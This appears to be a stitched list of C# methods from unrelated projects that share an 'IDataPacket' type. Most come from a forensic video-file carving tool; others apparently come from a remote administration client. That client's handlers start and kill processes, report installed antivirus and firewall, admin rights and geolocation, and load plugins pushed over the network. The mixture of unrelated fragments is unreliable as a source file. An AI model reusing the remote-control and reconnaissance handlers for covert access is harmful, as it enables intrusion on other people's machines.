public override void TestFixtureSetup() { base.TestFixtureSetup(); File.Delete(DataFileNameCopy); // Make a copy FileInfo fileInfo = new FileInfo(DataFileName); fileInfo.CopyTo(DataFileNameCopy); // Create fragmented data packet and bytes _dataPacket = TestFramework.CreateDataPacket(InputFile, 10, 113); // < 123 _dataPacket = _dataPacket.Append(TestFramework.CreateDataPacket(InputFile, 151, 89)); // < 240 _dataPacket = _dataPacket.Append(TestFramework.CreateDataPacket(InputFile, 255, 17)); // < 272 _dataPacket = _dataPacket.Append(TestFramework.CreateDataPacket(InputFile, 289, 1)); // < 290 _dataPacket = _dataPacket.Append(TestFramework.CreateDataPacket(InputFile, 393, 44)); // < 437 _dataPacket = _dataPacket.Append(TestFramework.CreateDataPacket(InputFile, 0, 5)); // < 5 _dataPacket = _dataPacket.Append(TestFramework.CreateDataPacket(InputFile, 511, 22)); // < 533 _dataPacket = _dataPacket.Append(TestFramework.CreateDataPacket(InputFile, 140, 40)); // overlap! _fragmentedData = new byte[113 + 89 + 17 + 1 + 44 + 5 + 22 + 40]; Array.Copy(base.DataReaderData, 10, _fragmentedData, 0, 113); Array.Copy(base.DataReaderData, 151, _fragmentedData, 113, 89); Array.Copy(base.DataReaderData, 255, _fragmentedData, 113 + 89, 17); Array.Copy(base.DataReaderData, 289, _fragmentedData, 113 + 89 + 17, 1); Array.Copy(base.DataReaderData, 393, _fragmentedData, 113 + 89 + 17 + 1, 44); Array.Copy(base.DataReaderData, 0, _fragmentedData, 113 + 89 + 17 + 1 + 44, 5); Array.Copy(base.DataReaderData, 511, _fragmentedData, 113 + 89 + 17 + 1 + 44 + 5, 22); Array.Copy(base.DataReaderData, 140, _fragmentedData, 113 + 89 + 17 + 1 + 44 + 5 + 22, 40); }
internal CodecStream(CodecStreamBuilder builder) { _dataFormat = builder.DataFormat; _detector = builder.Detector; _dataPacket = builder.Data; _streamNumber = builder.StreamNumber; _name = RemoveIllegalCharatersForXml(builder.Name); _dataBlock = builder.DataBlock; _absoluteStartOffset = builder.AbsoluteStartOffset; _referenceHeaderOffset = builder.ReferenceHeaderOffset; _referenceHeader = builder.ReferenceHeader; IsFragmented = builder.IsFragmented; // Check for previous fragment and connect if one exists IFragment previousFragment = builder.PreviousFragment; if ((previousFragment != null) && previousFragment.IsFragmented) { FragmentContainer = previousFragment.FragmentContainer; if (FragmentContainer == null) { FragmentContainer = new FragmentContainer(); FragmentContainer.Add(previousFragment); previousFragment.FragmentContainer = FragmentContainer; } FragmentContainer.Add(this); FragmentIndex = previousFragment.FragmentIndex + 1; } }
public void TestGetDataPacketFragmented() { IDataPacket dataPacket = _dataReader.GetDataPacket(70, 70); Assert.IsTrue(dataPacket.GetFragment(0).Equals(TestFramework.CreateDataPacket(InputFile, 80, 43)), "GetDataPacket() for fragmented packet (a)"); Assert.IsTrue(dataPacket.GetFragment(43).Equals(TestFramework.CreateDataPacket(InputFile, 151, 27)), "GetDataPacket() for fragmented packet (b)"); }
public override void PacketReceived(IDataPacket packet, IChannel sender) { if (packet is SystemInformationInitPacket) { SendPacket(new SystemInformationPacket()); } }
public override void PacketReceived(IDataPacket packet, IChannel sender) { if (packet is RefreshProcessesPacket) { foreach (var proc in ProcessHelper.GetRunningProcesses()) { SendPacket(new ProcessInformationPacket(proc.ProcessName, proc.Pid, proc.IsThis, proc.WindowName)); } } else if (packet is KillProcessPacket) { ProcessHelper.KillProcessByPid((packet as KillProcessPacket).Pid); } else if (packet is StartProcessPacket) { var startProcPacket = packet as StartProcessPacket; ProcessHelper.StartProcess(new ProcessHelper.StartProcessOptions { Filename = startProcPacket.Filename, NoWindow = startProcPacket.NoWindow }); } else if (packet is RefreshServicesPacket) { foreach (var service in ServicesHelper.GetServices()) { SendPacket(new ServiceInformationPacket(service.Service, service.DisplayName, service.Startname, service.Description)); } } }
/// <summary> /// Returns the Packet of data sent by a TcpClient /// </summary> /// <param name="serverData">Returns the ServerData object if the packet was a ServerDataPacket</param> /// <returns>The Packet sent</returns> IDataPacket ListenForPackets(out Data data) { Logger.Instance.Log("Waiting for a connection"); var client = Listener.AcceptTcpClient(); Logger.Instance.Log("Connected"); byte[] bytes = new byte[Packet.MAX_BYTE_LENGTH]; IDataPacket packet = null; if (client.GetStream().Read(bytes, 0, bytes.Length) != 0) { packet = Packet.ToPacket(bytes); } data = new Data { TcpClient = client }; if (packet is ServerDataPacket) { var sPacket = (ServerDataPacket)packet; data = new Data(ConnectedClients.Count == 0 ? 0 : ConnectedClients.Last().ID + 1) { TcpClient = client, IPv4 = sPacket.IPv4, Name = sPacket.Name, Port = sPacket.Port }; ConnectedClients.Add(data); Logger.Instance.Log($"Server @ {data.IPv4} added to collection"); } return(packet); }
void PacketHandler(IDataPacket dataPacket, ref Data data) { switch (dataPacket.ConnectionType) { case ConnectionType.Client: Logger.Instance.Log("ConnectionType is [Client]"); var clientData = (ClientDataPacket)dataPacket; clientData.Servers = GetServers(clientData.Offset); data.TcpClient.GetStream().Write(clientData.ToBytes(), 0, Packet.MAX_BYTE_LENGTH); break; case ConnectionType.Server: Logger.Instance.Log("ConnectionType is [Server]"); var serverData = (ServerDataPacket)dataPacket; if (serverData.RemoveFromCollection) { var temp = data; Logger.Instance.Log($"Server {temp.ID} @ {serverData.IPv4} Removed from collection"); ConnectedClients.Remove(ConnectedClients.First(o => o.ID == temp.ID)); break; } data.IPv4 = serverData.IPv4; data.Name = serverData.Name; data.Port = serverData.Port; serverData.ID = data.ID; var bytes = serverData.ToBytes(); data.TcpClient.GetStream().Write(bytes, 0, bytes.Length); break; case ConnectionType.Hub: Logger.Instance.Log("ConnectionType is [Hub]"); break; } }
//TODO: make better public override void PacketReceived(IDataPacket packet, IChannel sender) { if (packet is FetchExtendedInformationPacket) { var returnInfoPacket = new FetchExtendedInformationPacket(); var geoIpInfo = GeoIpHelper.FetchInformation(); returnInfoPacket.CountryCode = geoIpInfo.CountryCode; returnInfoPacket.CountryName = geoIpInfo.CountryName; returnInfoPacket.TimeZone = geoIpInfo.TimeZone; returnInfoPacket.Latitude = geoIpInfo.Latitude; returnInfoPacket.Longitude = geoIpInfo.Longitude; returnInfoPacket.InstalledAntivirus = SystemInformationHelper.FetchInstalledAntivirus(); returnInfoPacket.InstalledFirewall = SystemInformationHelper.FetchInstalledFirewall(); returnInfoPacket.ThisPath = Path.GetDirectoryName(typeof (ExtendedInformationOperation).Assembly.Location); var friendlyName = SystemInformationHelper.Name; var edition = SystemInformationHelper.Edition; var ptrSize = SystemInformationHelper.Bits; var sp = SystemInformationHelper.ServicePack; var operatingSystem = string.Concat(friendlyName, " ", edition, " x", +ptrSize, " ", sp); var computerName = System.Security.Principal.WindowsIdentity.GetCurrent().Name; var isAdmin = SystemInformationHelper.IsAdministrator(); returnInfoPacket.OperatingSystem = operatingSystem; returnInfoPacket.IsAdmin = isAdmin; returnInfoPacket.ComputerName = computerName; returnInfoPacket.InstallDate = new DateTime(); var upTime = SystemInformationHelper.GetSystemRunningTime(); returnInfoPacket.RunningTime = string.Format("{0}h {1}m {2}s", upTime.Hours, upTime.Minutes, upTime.Seconds); SendPacket(returnInfoPacket); } }
private void BackgroundWorker_DoWork(object sender, DoWorkEventArgs e) { var sendToBackgroundWorkerArgument = e.Argument as SendToBackgroundWorkerArgument; var backgroundWorker = sender as BackgroundWorker; ISelection selection = sendToBackgroundWorkerArgument.Selection; string dataPath = sendToBackgroundWorkerArgument.DataPath; IDataPacket dataPacket = selection.GetDataPacket(this); if (backgroundWorker.CancellationPending || dataPacket == null) { return; } // Saves the current selection to disk as one contiguous file IEnumerable <IDataPacket> dataPackets = Enumerable.Repeat(dataPacket, 1); _fileExport.SaveAsContiguousFile(dataPackets, Enumerable.Empty <IDetector>() /*don't care*/, dataPath, false /* no Forensic Integrity Log File */); string parameters = _parametersChecker.Substitute(_applicationParameters, selection, dataPacket, dataPath); if (!backgroundWorker.CancellationPending) { Process.Start(_applicationPath, parameters); } }
internal bool TryDefaultHeaders(Func <VideoObjectLayer, bool> evaluateHeader) { if (_referenceHeadersTested) { return(false); } // This will make sure the default headers are tested just once and not for every VOP _referenceHeadersTested = true; if (ReferenceHeaders.Count == 0) { return(false); } long startPosition = Position; // Try reference headers to decode this VOP foreach (var referenceHeader in ReferenceHeaders) { if (evaluateHeader(referenceHeader.Value)) { _referenceHeader = referenceHeader.Key; return(true); // Header successfully decoded! } Position = startPosition; } // Not able to decode VOP using any reference header, defaulting to unparsable VOPs return(false); }
private static void InitCodecStream(ICodecStreamBuilder builder, IDataPacket data, IResultNode headerDataAtom) { builder.Name = GetExtraDataCodecStreamName(headerDataAtom); // The DataFormat will be set by the codec detector (if one exists) builder.Data = data; builder.AbsoluteStartOffset = data.StartOffset; }
public IDataPacket GetVideoHeaders(IResultNode headerPacket) { IResultNode pictureNode = GetPictureNode(headerPacket); IDataPacket data = null; for (IResultNode node = pictureNode.Parent; node != null; node = node.Parent) { if (node.Name == SequenceHeader.Name) { // Check for 'SequenceExtension', required for MPEG2 foreach (IResultNode childNode in node.Children) { if (childNode.Name == SequenceExtension.Name) { data = data.Prepend(childNode); } } } if (node.Length > 0) { // Add parent node data = data.Prepend(node); } } return(data); }
public int Read(byte[] array, int arrayOffset, int count) { PreConditions.Object(this).IsDisposedIf(_dataReaderPool == null); PreConditions.Argument("array").Value(array).IsNotNull(); PreConditions.Argument("arrayOffset").Value(arrayOffset).InRange(0, array.Length); PreConditions.Argument("count").Value(count).InRange(0, (array.Length - arrayOffset)); int totalBytesToRead = (int)Math.Min(count, (Length - Position)); int bytesRead = 0; while (bytesRead < totalBytesToRead) { IDataPacket fragment = _dataPacket.GetFragment(_position + bytesRead); int fragmentBytes = (int)Math.Min((totalBytesToRead - bytesRead), fragment.Length); int fragmentBytesRead = _dataReaderPool.ReadInputFile(fragment.InputFile, fragment.StartOffset, array, (arrayOffset + bytesRead), fragmentBytes); bytesRead += fragmentBytesRead; // Completed or cancelled if not read the _entire_ fragment if (fragmentBytesRead != fragmentBytes) { break; } } return(bytesRead); }
internal DataBlock(DataBlockBuilder builder) { _appendDataPackets = builder._appendDataPackets; _dataFormat = builder.DataFormat; _detectors = builder.Detectors; _inputFile = builder.InputFile; _startOffset = builder.StartOffset; _endOffset = builder.EndOffset; _isFullFile = builder.IsFullFile; _referenceHeaderOffset = builder.ReferenceHeaderOffset; _referenceHeader = builder.ReferenceHeader; _codecStreams = builder.BuildCodecStreams(this); IsFragmented = builder.IsFragmented; // Check for previous fragment and connect if one exists IFragment previousFragment = builder.PreviousFragment; if ((previousFragment != null) && previousFragment.IsFragmented) { if (previousFragment.FragmentContainer == null) { previousFragment.FragmentContainer = new FragmentContainer(); previousFragment.FragmentContainer.Add(previousFragment); } FragmentContainer = previousFragment.FragmentContainer; FragmentContainer.Add(this); FragmentIndex = previousFragment.FragmentIndex + 1; } }
public ServerPacketEventArgs(IDataPacket packet, Peer.Peer peer, IChannel channel, int rawSize) { Packet = packet; Peer = peer; Channel = channel; RawSize = rawSize; }
//TODO: make better public override void PacketReceived(IDataPacket packet, IChannel sender) { if (packet is FetchExtendedInformationPacket) { var returnInfoPacket = new FetchExtendedInformationPacket(); var geoIpInfo = GeoIpHelper.FetchInformation(); returnInfoPacket.CountryCode = geoIpInfo.CountryCode; returnInfoPacket.CountryName = geoIpInfo.CountryName; returnInfoPacket.TimeZone = geoIpInfo.TimeZone; returnInfoPacket.Latitude = geoIpInfo.Latitude; returnInfoPacket.Longitude = geoIpInfo.Longitude; returnInfoPacket.InstalledAntivirus = SystemInformationHelper.FetchInstalledAntivirus(); returnInfoPacket.InstalledFirewall = SystemInformationHelper.FetchInstalledFirewall(); returnInfoPacket.ThisPath = Path.GetDirectoryName(typeof(ExtendedInformationOperation).Assembly.Location); var friendlyName = SystemInformationHelper.Name; var edition = SystemInformationHelper.Edition; var ptrSize = SystemInformationHelper.Bits; var sp = SystemInformationHelper.ServicePack; var operatingSystem = string.Concat(friendlyName, " ", edition, " x", +ptrSize, " ", sp); var computerName = System.Security.Principal.WindowsIdentity.GetCurrent().Name; var isAdmin = SystemInformationHelper.IsAdministrator(); returnInfoPacket.OperatingSystem = operatingSystem; returnInfoPacket.IsAdmin = isAdmin; returnInfoPacket.ComputerName = computerName; returnInfoPacket.InstallDate = new DateTime(); var upTime = SystemInformationHelper.GetSystemRunningTime(); returnInfoPacket.RunningTime = string.Format("{0}h {1}m {2}s", upTime.Hours, upTime.Minutes, upTime.Seconds); SendPacket(returnInfoPacket); } }
public IDataPacket GetSubPacket(long offset, long length) { PreConditions.Argument("offset").Value(offset).InRange(0L, (Length - 1L)); PreConditions.Argument("length").Value(length).InRange(1L, (Length - offset)); if ((offset == 0) && (length == Length)) { return(this); // Sub-packet is the entire packet } long firstLength = _firstDataPacket.Length; if (offset >= firstLength) { return(_secondDataPacket.GetSubPacket((offset - firstLength), length)); } long relativeEndOffset = (offset + length); if (relativeEndOffset <= firstLength) { return(_firstDataPacket.GetSubPacket(offset, length)); } IDataPacket firstSubPacket = _firstDataPacket.GetSubPacket(offset, (firstLength - offset)); IDataPacket secondSubPacket = _secondDataPacket.GetSubPacket(0, (relativeEndOffset - firstLength)); return(firstSubPacket.Append(secondSubPacket)); }
public MockResult(IResultNode parent, IDataReader dataReader, long offset, long length, string name) { if (parent == null) { throw new ArgumentNullException("parent"); } if (dataReader == null) { throw new ArgumentNullException("dataReader"); } if (offset < 0) { throw new ArgumentOutOfRangeException("offset"); } if (length <= 0) { throw new ArgumentOutOfRangeException("length"); } if (string.IsNullOrEmpty(name)) { throw new ArgumentNullException("name"); } _name = name; _attributes = new List <IResultAttribute>(); _dataPacket = dataReader.GetDataPacket(offset, length); _detector = parent.Detectors.First(); Offset = offset; parent.AddChild(this); }
public void AppendPreservesBalancedTree() { IDataPacket concatenatedSecondSubPacket = MockRepository.GenerateStub <IDataPacket>(); _dataPacket2.Stub(x => x.Append(_dataPacket3)).Return(concatenatedSecondSubPacket); Assert.AreEqual(new DataPacketNode(_dataPacket1, concatenatedSecondSubPacket), _dataPacket.Append(_dataPacket3)); }
public bool ValidateDataBlock(IDataBlockBuilder dataBlockBuilder, long startOffset, long endOffset) { if (!IsValidResult()) { return(false); } dataBlockBuilder.DataFormat = _state.IsMpeg2() ? CodecID.Mpeg2System : CodecID.Mpeg1System; dataBlockBuilder.IsFullFile = IsFullFile(); dataBlockBuilder.IsFragmented = _state.IsFragmented; // Trim zero byte stuffing from last header (if any) if (_state.LastHeaderZeroByteStuffing > 0) { dataBlockBuilder.EndOffset = endOffset - _state.LastHeaderZeroByteStuffing; } foreach (ushort streamId in _state.Streams.StreamIds) { IDataPacket streamData = _state.Streams[streamId].GetStreamData(); if (streamData != null) { string name = GetStreamName(streamId); if (name != null) { ICodecStreamBuilder codecStreamBuilder = dataBlockBuilder.AddCodecStream(); codecStreamBuilder.Name = name; codecStreamBuilder.DataFormat = name.StartsWith("Video") ? CodecID.Mpeg2Video : CodecID.Unknown; codecStreamBuilder.StreamNumber = streamId; codecStreamBuilder.Data = streamData; codecStreamBuilder.AbsoluteStartOffset = codecStreamBuilder.Data.StartOffset; } } } return(true); }
public override IDataPacket GetVideoHeaders(IResultNode headerPacket) { IDataPacket data = null; IResultNode parentNode = headerPacket.Parent; if (parentNode is GroupOfVop) { parentNode = parentNode.Parent; } if (parentNode != null) { // Add parent parent node (required WHEN available) IResultNode parentParentNode = parentNode.Parent; if ((parentParentNode != null) && (parentParentNode.Length > 0)) { data = parentParentNode; } // Add parent node (required) if (parentNode.Length > 0) { data = (data == null) ? parentNode : data.Append(parentNode); } } return(data); }
private IDataPacket RescanDataPackets(IEnumerable <IDataPacket> dataPackets, IDataReaderPool dataReaderPool, IProgressReporter progressReporter) { IDataPacket concatenatedDataPacket = null; long totalByteCount = dataPackets.Sum(x => x.Length); long bytesSaved = 0L; foreach (IDataPacket dataPacket in dataPackets) { if (progressReporter.CancellationPending) { return(null); } IDataPacket rescannedDataPacket = dataPacket; if (dataPacket is ICodecStream) { if (dataPacket is RescannedCodecStream) { rescannedDataPacket = dataPacket; } else { IProgressReporter rescanProgressReporter = new NullProgressReporter(); rescannedDataPacket = CreateDataBlockScanner().GetData(dataPacket as ICodecStream, rescanProgressReporter, dataReaderPool); } } concatenatedDataPacket = (concatenatedDataPacket == null) ? rescannedDataPacket : concatenatedDataPacket.Append(rescannedDataPacket); bytesSaved += dataPacket.Length; } return(concatenatedDataPacket); }
/// <summary>Create a list that contains the origin of all bytes in the result file</summary> /// <param name="dataPacket">the data packet that makes up the result file</param> /// <param name="forensicLogType">the type of data being logged</param> internal void WriteDetailInformation(IDataPacket dataPacket, ForensicLogType forensicLogType) { _textWriter.WriteLine(); string sourceHeaderText; if (forensicLogType == ForensicLogType.CopiedData) { sourceHeaderText = "Build-up of resulting file:"; } else if (forensicLogType == ForensicLogType.ConvertedData) { sourceHeaderText = "Build-up of source data (before being converted by FFmpeg):"; } else { sourceHeaderText = string.Empty; } _textWriter.WriteLine(sourceHeaderText); _textWriter.WriteLine("From byte location:{0}To byte location:{1}Length:{2}Maps to source file(s):{3}From byte location:{4}To byte location:", SeparatorChar, SeparatorChar, SeparatorChar, SeparatorChar, SeparatorChar); for (long offset = 0L; offset < dataPacket.Length;) { IDataPacket subpacket = dataPacket.GetFragment(offset); _textWriter.WriteLine("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}", offset, SeparatorChar, offset + subpacket.Length, SeparatorChar, subpacket.Length, SeparatorChar, subpacket.InputFile.Name, SeparatorChar, subpacket.StartOffset, SeparatorChar, subpacket.EndOffset); offset += subpacket.Length; } }
public void WriteDataPacket(IDataPacket dataPacket, IProgressReporter progressReporter, ref long handledBytes, long totalBytes) { // TODO: refactor to use ProgressDataReader using (IDataReader dataReader = new FragmentedDataReader(dataPacket, _dataReaderPool)) { // Write data fragment while (dataReader.State == DataReaderState.Ready) { long bytesRemaining = (dataReader.Length - dataReader.Position); int bytesRead = dataReader.Read(_buffer, 0, (int)Math.Min(_buffer.Length, bytesRemaining)); dataReader.Position += bytesRead; _outputStream.Write(_buffer, 0, bytesRead); _bytesWritten += bytesRead; if (progressReporter != null) { handledBytes += bytesRead; if (progressReporter.CancellationPending) { return; } progressReporter.ReportProgress(totalBytes == 0 ? 0 : (int)((handledBytes * 100) / totalBytes)); } } } }
public OperationPacketEventArgs(IDataPacket packet, IChannel channel, int rawSize, ISocketOperation operation) { Packet = packet; Channel = channel; RawSize = rawSize; Operation = operation; }
public static SequenceContext CreateFromPacket(IDataPacket data, int fragmentSize) { SequenceInitPacket initPacket; var ms = new MemoryStream(); data.SerializeTo(ms); NetworkWriter.PrependStreamSize(ms); var completeBuff = ms.ToArray(); Guid seqGuid; var sequence = new SequenceHandler().CreateSequence(data, completeBuff, fragmentSize, out initPacket, out seqGuid); var initPacketStream = new MemoryStream(); initPacket.SerializeTo(initPacketStream); #if DEBUG // var sequenceStreams = new MemoryStream[sequence.Length]; // var sequenceBuffs = new List<byte[]>(); //for (var i = 0; i < sequence.Count; i++) //{ // var seq = sequence[i]; // sequenceStreams[i] = new MemoryStream(); // seq.SerializeTo(sequenceStreams[i]); // sequenceBuffs.Add(sequenceStreams[i].ToArray()); //} #endif var seqCtx = new SequenceContext(initPacket, sequence, initPacketStream.ToArray(), null) { SequenceGuid = seqGuid }; return(seqCtx); }
public override void PacketReceived(IDataPacket packet, IChannel sender) { if (packet is FetchPluginMetadataPacket) { var retPacket = new FetchPluginMetadataPacket(); // Send empty list if there are no plugins if (!File.Exists("plugins.blob")) SendPacket(retPacket); else { var blobReader = new PluginBlobReader("plugins.blob"); var md = blobReader.ReadMetadata(); blobReader.Dispose(); foreach (var plugin in md.PluginTable) retPacket.PluginList.Add(new PluginIntegrityPair(plugin.Key, plugin.Value.Hash)); SendPacket(retPacket); } } else if (packet is PluginActionPacket) { var actionPacket = packet as PluginActionPacket; var blobWriter = new PluginBlobWriter("plugins.blob"); foreach (var action in actionPacket.Actions) { switch (action.Action) { case PluginActionPacket.PluginAction.Add: blobWriter.AppendPlugin(new BlobClientPlugin { Data = action.PluginData, Hash = action.IntegrityHash, Size = action.PluginData.Length, PluginGuid = action.PluginGuid }); break; case PluginActionPacket.PluginAction.Replace: blobWriter.ReplacePlugin(action.PluginGuid, new BlobClientPlugin { Data = action.PluginData, Hash = action.IntegrityHash, Size = action.PluginData.Length, PluginGuid = action.PluginGuid }); break; case PluginActionPacket.PluginAction.Remove: blobWriter.RemovePlugin(action.PluginGuid); break; } } blobWriter.WriteBlob(); blobWriter.Dispose(); } else if (packet is SynchronizationFinalizationPacket) { ActivatePlugins(); SendPacket(new SynchronizationFinalizationPacket()); } }
public MockResult(MockResult mockResult) { _name = mockResult._name; _attributes = mockResult._attributes; _dataPacket = mockResult._dataPacket; _detector = mockResult._detector; _parent = null; }
public IDataPacket GetDataPacket(IProgressReporter progressReporter) { _progressReporter = progressReporter; IDataPacket result = DataPacket; _progressReporter = null; return(result); }
public override IDataPacket GetVideoData(IResultNode resultNode) { // Mpeg4 doesn't require other data (frames) to make itself visible. IDataPacket dataPacket = resultNode; // Duplicate the frame data, because otherwise, FFmpeg won't decode it. return(dataPacket.Append(dataPacket)); }
public override void PacketReceived(IDataPacket packet, IChannel sender) { if (packet is FileTransferPacket) { Debug.Print((packet as FileTransferPacket).Size.ToString()); CloseOperation(); } }
public IDataPacket Append(IDataPacket dataPacket) { if (Detector != null) { throw new ArgumentException("Can not append to a codec stream"); } return(_dataPacket.Append(dataPacket)); }
public override void PacketSent(IDataPacket packet, IChannel targetChannel) { }
public override void PacketReceived(IDataPacket packet, IChannel sender) { }